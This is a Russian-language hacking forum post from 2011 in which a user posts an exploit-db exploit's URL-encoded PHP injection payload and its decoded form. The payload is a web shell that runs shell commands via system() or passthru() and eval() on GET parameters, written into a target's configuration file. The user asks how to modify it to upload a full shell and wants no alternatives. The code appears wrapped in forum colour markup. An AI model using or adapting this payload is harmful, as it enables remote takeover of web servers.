| Bigmanhlo |
04.07.2011 11:59 |
Вообщем суть такова. Вот сплойт http://www.exploit-db.com/download/8921/.
По сути мне нужно сделать так чтобы, чтобы этот эксплойт мне залил полноценный шелл. Но столкнулся с рядом проблемм.
Вот шифрованный код.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bsystem[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR]
Вот рассшифрованный
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'; if($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';system($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';}if($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';eval($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';};//'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Но даже для примера просто пробую поменять в коде passthru вместо system. И сплойт не пишет пхп код в конфиг. Хоть что, изменяешь в коде, он перестаёт писать в конфиг, даже простой метод в место GET, ставлю POST. И уже мой пхп код, не пишеться в конфиг.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bpassthru[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR]
Что мне конкретно надо? Чтобы вшить в сплойт полноценный шелл, и он мне залил его. Но я не могу понять толи какие то ограничения по символам толи что, подсказывайте . Другие сплойты не предлагать, запись в конфиг есть, но мне надо конретно сделать тот вопрос, о котором спросил, других альтернатих не предлагайте, нужно именно этот пример. Спасибо
|